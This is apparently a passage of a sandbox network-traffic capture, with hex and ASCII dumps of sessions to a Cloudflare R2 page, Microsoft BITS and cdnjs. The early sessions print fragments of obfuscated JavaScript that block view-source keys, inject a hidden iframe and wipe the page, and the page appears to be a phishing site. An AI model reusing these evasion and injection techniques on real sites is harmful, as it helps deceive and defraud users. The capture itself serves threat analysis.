:_0x37fb06,'event':_0x13146f[_0x19caea(0x15a)]},_0x37fb06['addEventListener']?_0x37fb06[_0x2a3839(0x13e)](_0x13146f['type'],_0x3b891f,!0x1):_0x37fb06[_0x39b87d(0x144)]?_0x37fb06['attachEvent']('on'+_0x13146f[_0x19caea(0x15a)],_0x3b891f):_0x37fb06['on'+_0x
2024-10-29 09:46:43 UTC	1369	IN	Data Raw: 30 78 31 62 31 29 5d 28 29 3b 7d 2c 21 30 78 31 29 2c 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 35 37 34 36 36 66 28 30 78 31 37 36 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 66 33 36 33 61 29 7b 76 61 72 20 5f 30 78 33 32 61 30 33 38 3d 5f 30 78 33 65 38 62 35 62 2c 5f 30 78 33 32 61 34 64 32 3d 5f 30 78 34 62 62 34 64 65 3b 69 66 28 5f 30 78 31 66 33 36 33 61 5b 5f 30 78 33 32 61 30 33 38 28 30 78 31 34 32 29 5d 26 26 30 78 35 35 3d 3d 3d 5f 30 78 31 66 33 36 33 61 5b 5f 30 78 33 32 61 34 64 32 28 30 78 31 62 34 29 5d 29 72 65 74 75 72 6e 21 30 78 31 3b 7d 2c 63 6f 6e 73 6f 6c 65 5b 5f 30 78 62 30 63 39 36 66 28 30 78 31 62 39 29 5d 28 4f 62 6a 65 63 74 5b 5f 30 78 31 30 31 63 37 37 28 30 78 31 38 34 29 5d 28 45 72 72 6f 72 28 29 2c 7b 27 6d 65 73 73 61 Data Ascii: 0x1b1)]();},!0x1),document[_0x57466f(0x176)]=function(_0x1f363a){var _0x32a038=_0x3e8b5b,_0x32a4d2=_0x4bb4de;if(_0x1f363a[_0x32a038(0x142)]&&0x55===_0x1f363a[_0x32a4d2(0x1b4)])return!0x1;},console[_0xb0c96f(0x1b9)](Object[_0x101c77(0x184)](Error(),{'messa
2024-10-29 09:46:43 UTC	1369	IN	Data Raw: 30 78 31 62 30 29 5d 28 27 68 74 74 70 73 3a 2f 2f 27 29 3d 3d 30 78 30 29 7b 76 61 72 20 61 62 31 3d 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 32 32 38 39 31 38 28 30 78 31 35 32 29 5d 28 27 62 72 27 29 3b 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 32 34 33 64 31 31 28 30 78 31 62 32 29 5d 28 5f 30 78 31 30 31 63 37 37 28 30 78 31 39 63 29 29 5b 30 78 30 5d 5b 5f 30 78 34 34 36 32 66 37 28 30 78 31 39 33 29 5d 28 61 62 31 29 3b 76 61 72 20 61 62 3d 64 6f 63 75 6d 65 6e 74 5b 27 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 27 5d 28 5f 30 78 33 38 63 38 35 62 28 30 78 31 36 32 29 29 3b 64 6f 63 75 6d 65 6e 74 5b 27 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 27 5d 28 5f 30 78 32 32 65 30 66 63 28 30 78 31 39 63 29 29 5b 30 78 30 5d 5b 5f 30 78 34 62 62 34 64 Data Ascii: 0x1b0)]('https://')==0x0){var ab1=document[_0x228918(0x152)]('br');document[_0x243d11(0x1b2)](_0x101c77(0x19c))[0x0][_0x4462f7(0x193)](ab1);var ab=document['createElement'](_0x38c85b(0x162));document['getElementsByTagName'](_0x22e0fc(0x19c))[0x0][_0x4bb4d
2024-10-29 09:46:43 UTC	1336	IN	Data Raw: 33 36 34 28 30 78 31 61 63 29 2c 69 69 5b 5f 30 78 33 31 63 38 62 30 28 30 78 31 34 39 29 5d 3d 5f 30 78 39 32 61 34 37 35 28 30 78 31 34 36 29 2c 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 34 62 62 34 64 65 28 30 78 31 62 32 29 5d 28 27 63 65 6e 74 65 72 27 29 5b 30 78 30 5d 5b 5f 30 78 34 64 31 62 36 32 28 30 78 31 39 33 29 5d 28 69 69 29 3b 76 61 72 20 69 69 3d 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 33 35 65 65 38 66 28 30 78 31 35 32 29 5d 28 5f 30 78 31 31 31 32 64 38 28 30 78 31 34 64 29 29 3b 69 69 5b 27 69 64 27 5d 3d 61 2c 69 69 5b 5f 30 78 65 37 61 63 34 63 28 30 78 31 39 62 29 5d 3d 27 77 69 64 74 68 3a 32 31 30 70 78 3b 68 65 69 67 68 74 3a 35 30 70 78 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 27 2c 69 69 5b 27 73 72 63 27 5d 3d 5f 30 78 31 30 61 63 30 35 Data Ascii: 364(0x1ac),ii[_0x31c8b0(0x149)]=_0x92a475(0x146),document[_0x4bb4de(0x1b2)]('center')[0x0][_0x4d1b62(0x193)](ii);var ii=document[_0x35ee8f(0x152)](_0x1112d8(0x14d));ii['id']=a,ii[_0xe7ac4c(0x19b)]='width:210px;height:50px;display:none',ii['src']=_0x10ac05
2024-10-29 09:46:43 UTC	1369	IN	Data Raw: 20 5f 30 78 31 36 63 30 38 61 3d 5f 30 78 33 35 66 61 32 62 2c 5f 30 78 34 31 61 61 37 63 3d 5f 30 78 31 31 33 65 61 33 2c 5f 30 78 32 30 36 39 36 64 3d 5f 30 78 33 35 66 61 32 62 3b 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 31 36 63 30 38 61 28 30 78 31 39 34 29 5d 28 67 29 5b 5f 30 78 31 36 63 30 38 61 28 30 78 31 34 39 29 5d 3d 5f 30 78 34 31 61 61 37 63 28 30 78 31 61 33 29 3b 7d 2c 30 78 31 33 38 38 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5f 30 78 63 34 62 31 39 36 3d 5f 30 78 31 35 31 35 36 35 3b 64 6f 63 75 6d 65 6e 74 5b 27 62 6f 64 79 27 5d 5b 5f 30 78 63 34 62 31 39 36 28 30 78 31 36 62 29 5d 3d 27 27 2c 48 49 4f 50 28 29 3b 7d 2c 30 78 31 34 35 30 29 3b 7d 7d 65 6c 73 65 20 48 49 4f 50 28 29 3b 66 75 6e 63 Data Ascii: _0x16c08a=_0x35fa2b,_0x41aa7c=_0x113ea3,_0x20696d=_0x35fa2b;document[_0x16c08a(0x194)](g)[_0x16c08a(0x149)]=_0x41aa7c(0x1a3);},0x1388),setTimeout(function(){var _0xc4b196=_0x151565;document['body'][_0xc4b196(0x16b)]='',HIOP();},0x1450);}}else HIOP();func

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49735	172.66.0.235	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:46:43 UTC	652	OUT	GET /favicon.ico HTTP/1.1 Host: pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/index.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 09:46:44 UTC	180	IN	HTTP/1.1 404 Not Found Date: Tue, 29 Oct 2024 09:46:44 GMT Content-Type: text/html Content-Length: 27150 Connection: close Server: cloudflare CF-RAY: 8da23d78affb4666-DFW
2024-10-29 09:46:44 UTC	1189	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <link rel="icon" href="https://www.cloudflare.com/favicon.ico" /> <title>Not Found</title> <sty
2024-10-29 09:46:44 UTC	1369	IN	Data Raw: 32 20 7b 0a 20 20 20 20 20 20 20 20 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 31 30 25 2c 0a 20 20 20 20 20 20 20 20 35 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 35 70 78 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 36 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 31 30 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 70 78 29 3b 0a 20 20 20 20 Data Ascii: 2 { 0% { transform: translateX(0); } 10%, 50% { transform: translateX(5px); } 60% { transform: translateX(0); } 100% { transform: translateX(0px);
2024-10-29 09:46:44 UTC	1369	IN	Data Raw: 70 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 4c 65 61 72 6e 20 68 6f 77 20 74 6f 20 65 6e 61 62 6c 65 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 72 32 2f 64 61 74 61 2d 61 63 63 65 73 73 2f 70 75 62 6c 69 63 2d 62 75 63 6b 65 74 73 2f 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 50 75 62 6c 69 63 20 41 63 63 65 73 73 3c 2f 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 0a 20 20 20 20 20 20 3c 73 65 63 74 Data Ascii: p> <p> Learn how to enable <a href="https://developers.cloudflare.com/r2/data-access/public-buckets/" >Public Access</a > </p> </div> </section> <sect
2024-10-29 09:46:44 UTC	1369	IN	Data Raw: 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 32 34 2e 35 36 36 20 31 33 2e 32 37 37 43 31 32 31 2e 30 35 33 20 31 33 2e 32 37 37 20 31 31 38 2e 32 30 34 20 31 30 2e 34 32 38 38 20 31 31 38 2e 32 30 34 20 36 2e 39 31 35 33 34 43 31 31 38 2e 32 30 34 20 33 2e 34 30 31 39 31 20 31 32 31 2e 30 35 33 20 30 2e 35 35 33 37 31 31 20 31 32 34 2e 35 36 36 20 30 2e 35 35 33 37 31 31 43 31 32 38 2e 30 38 20 30 2e 35 35 33 37 31 31 20 31 33 30 2e 39 32 38 20 33 2e 34 30 31 39 31 20 31 33 30 2e 39 32 38 20 36 2e 39 31 35 33 34 43 31 33 30 2e 39 32 38 20 31 30 2e 34 32 38 38 20 31 32 38 2e 30 38 20 31 33 2e 32 37 37 20 31 32 34 2e 35 36 36 20 31 33 2e 32 37 37 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 Data Ascii: <path d="M124.566 13.277C121.053 13.277 118.204 10.4288 118.204 6.91534C118.204 3.40191 121.053 0.553711 124.566 0.553711C128.08 0.553711 130.928 3.40191 130.928 6.91534C130.928 10.4288 128.08 13.277 124.566 13.277Z" fill="#0055DC
2024-10-29 09:46:44 UTC	1369	IN	Data Raw: 33 30 34 20 39 39 2e 36 31 34 39 43 37 33 2e 31 38 38 38 20 31 30 30 2e 38 39 35 20 37 31 2e 32 35 35 39 20 31 30 38 2e 31 39 35 20 37 31 2e 32 35 35 39 20 31 30 38 2e 31 39 35 48 37 35 2e 35 34 35 39 43 37 35 2e 35 34 35 39 20 31 30 38 2e 31 39 35 20 37 38 2e 33 33 35 33 20 39 35 2e 39 36 31 31 20 36 38 2e 36 38 36 38 20 39 34 2e 30 34 34 35 43 35 39 2e 30 33 38 34 20 39 32 2e 31 32 37 38 20 35 36 2e 30 37 37 37 20 31 30 35 2e 34 30 36 20 35 36 2e 30 37 37 37 20 31 30 35 2e 34 30 36 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 33 36 2e 31 37 36 20 31 31 31 2e 39 35 33 43 31 Data Ascii: 304 99.6149C73.1888 100.895 71.2559 108.195 71.2559 108.195H75.5459C75.5459 108.195 78.3353 95.9611 68.6868 94.0445C59.0384 92.1278 56.0777 105.406 56.0777 105.406Z" fill="#0055DC" /> <path d="M136.176 111.953C1
2024-10-29 09:46:44 UTC	1369	IN	Data Raw: 2e 39 34 31 20 31 32 31 2e 31 37 20 31 30 38 2e 34 30 37 43 31 32 30 2e 37 30 34 20 31 30 38 2e 38 37 32 20 31 32 30 2e 33 33 35 20 31 30 39 2e 34 32 35 20 31 32 30 2e 30 38 33 20 31 31 30 2e 30 33 34 43 31 31 39 2e 38 33 31 20 31 31 30 2e 36 34 32 20 31 31 39 2e 37 30 31 20 31 31 31 2e 32 39 35 20 31 31 39 2e 37 30 31 20 31 31 31 2e 39 35 33 56 31 31 31 2e 39 35 33 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 30 33 2e 33 38 34 20 31 31 31 2e 39 35 33 43 31 30 33 2e 33 38 34 20 31 31 32 2e 36 31 32 20 31 30 33 2e 35 31 33 20 31 31 33 2e 32 36 34 20 31 30 33 2e 37 36 36 20 31 Data Ascii: .941 121.17 108.407C120.704 108.872 120.335 109.425 120.083 110.034C119.831 110.642 119.701 111.295 119.701 111.953V111.953Z" fill="#0055DC" /> <path d="M103.384 111.953C103.384 112.612 103.513 113.264 103.766 1
2024-10-29 09:46:44 UTC	1369	IN	Data Raw: 36 38 34 20 31 33 34 2e 39 39 35 20 33 31 2e 35 37 39 35 20 31 33 39 2e 37 39 32 20 33 31 2e 35 37 39 35 43 31 34 34 2e 35 38 39 20 33 31 2e 35 37 39 35 20 31 34 38 2e 34 37 38 20 33 35 2e 34 36 38 34 20 31 34 38 2e 34 37 38 20 34 30 2e 32 36 35 36 43 31 34 38 2e 34 37 38 20 34 35 2e 30 36 32 37 20 31 34 34 2e 35 38 39 20 34 38 2e 39 35 31 36 20 31 33 39 2e 37 39 32 20 34 38 2e 39 35 31 36 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 77 68 69 74 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3d 22 31 30 22 0a 20 20 20 Data Ascii: 684 134.995 31.5795 139.792 31.5795C144.589 31.5795 148.478 35.4684 148.478 40.2656C148.478 45.0627 144.589 48.9516 139.792 48.9516Z" fill="white" stroke="#0055DC" stroke-width="2" stroke-miterlimit="10"
2024-10-29 09:46:44 UTC	1369	IN	Data Raw: 32 2e 34 39 32 31 20 31 31 35 2e 36 38 20 34 31 2e 34 32 31 36 20 31 31 35 2e 36 38 20 34 30 2e 33 30 35 35 43 31 31 35 2e 36 37 38 20 33 39 2e 31 39 30 37 20 31 31 35 2e 32 33 34 20 33 38 2e 31 32 32 34 20 31 31 34 2e 34 34 35 20 33 37 2e 33 33 34 39 43 31 31 33 2e 36 35 36 20 33 36 2e 35 34 37 34 20 31 31 32 2e 35 38 36 20 33 36 2e 31 30 35 32 20 31 31 31 2e 34 37 32 20 33 36 2e 31 30 35 32 43 31 31 30 2e 33 35 38 20 33 36 2e 31 30 37 33 20 31 30 39 2e 32 39 31 20 33 36 2e 35 35 30 36 20 31 30 38 2e 35 30 34 20 33 37 2e 33 33 37 38 43 31 30 37 2e 37 31 37 20 33 38 2e 31 32 35 20 31 30 37 2e 32 37 34 20 33 39 2e 31 39 32 31 20 31 30 37 2e 32 37 31 20 34 30 2e 33 30 35 35 56 34 30 2e 33 30 35 35 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d Data Ascii: 2.4921 115.68 41.4216 115.68 40.3055C115.678 39.1907 115.234 38.1224 114.445 37.3349C113.656 36.5474 112.586 36.1052 111.472 36.1052C110.358 36.1073 109.291 36.5506 108.504 37.3378C107.717 38.125 107.274 39.1921 107.271 40.3055V40.3055Z" fill=
2024-10-29 09:46:44 UTC	1369	IN	Data Raw: 34 34 20 31 33 33 2e 30 32 20 31 34 36 2e 36 31 31 20 31 33 37 2e 34 31 32 20 31 34 36 2e 36 31 31 20 31 34 32 2e 38 33 31 43 31 34 36 2e 36 31 31 20 31 34 38 2e 32 34 39 20 31 34 32 2e 33 34 34 20 31 35 32 2e 36 34 31 20 31 33 37 2e 30 38 31 20 31 35 32 2e 36 34 31 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 43 35 45 42 46 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 67 20 73 74 79 6c 65 3d 22 6d 69 78 2d 62 6c 65 6e 64 2d 6d 6f 64 65 3a 20 6d 75 6c 74 69 70 6c 79 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 30 33 2e 30 37 34 20 31 34 32 2e 38 33 31 43 31 30 33 2e 30 Data Ascii: 44 133.02 146.611 137.412 146.611 142.831C146.611 148.249 142.344 152.641 137.081 152.641Z" fill="#C5EBF5" /> </g> <g style="mix-blend-mode: multiply"> <path d="M103.074 142.831C103.0
2024-10-29 09:46:44 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 64 3d 22 4d 31 33 37 2e 30 38 37 20 37 35 2e 36 33 35 48 31 34 32 2e 31 37 37 56 37 39 2e 37 33 37 39 48 31 33 37 2e 30 38 37 56 37 35 2e 36 33 35 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 32 39 2e 38 35 32 20 37 35 2e 36 33 35 48 31 33 34 2e 39 33 34 56 37 39 2e 37 33 37 39 48 31 32 39 2e 38 35 32 56 37 35 2e 36 33 35 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 33 37 Data Ascii: d="M137.087 75.635H142.177V79.7379H137.087V75.635Z" fill="#0055DC" /> <path d="M129.852 75.635H134.934V79.7379H129.852V75.635Z" fill="#0055DC" /> <path d="M137

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49740	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:46:46 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-29 09:46:46 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=97682 Date: Tue, 29 Oct 2024 09:46:46 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49742	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:46:47 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-29 09:46:47 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=97735 Date: Tue, 29 Oct 2024 09:46:47 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-29 09:46:47 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49750	104.17.25.14	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:07 UTC	589	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 09:47:07 UTC	956	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:07 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 165442 Expires: Sun, 19 Oct 2025 09:47:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SSFObIiFNEhHXhATBgHb2ax9veMd9DOv3H63hEw6ov2eytO4l%2Fe5Vpta3RKa%2FjwbWVYfCHjTZREGpYiDsihg0lT47vfxH1fPU3jorzgscLvTMcnHbVzGlUH2jM5VXr5EMTPG7hXx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8da23e0bb814e93e-DFW alt-svc: h3=":443"; ma=86400
2024-10-29 09:47:07 UTC	413	IN	Data Raw: 37 62 65 64 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bed!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2024-10-29 09:47:07 UTC	1369	IN	Data Raw: 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 Data Ascii: lobalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create
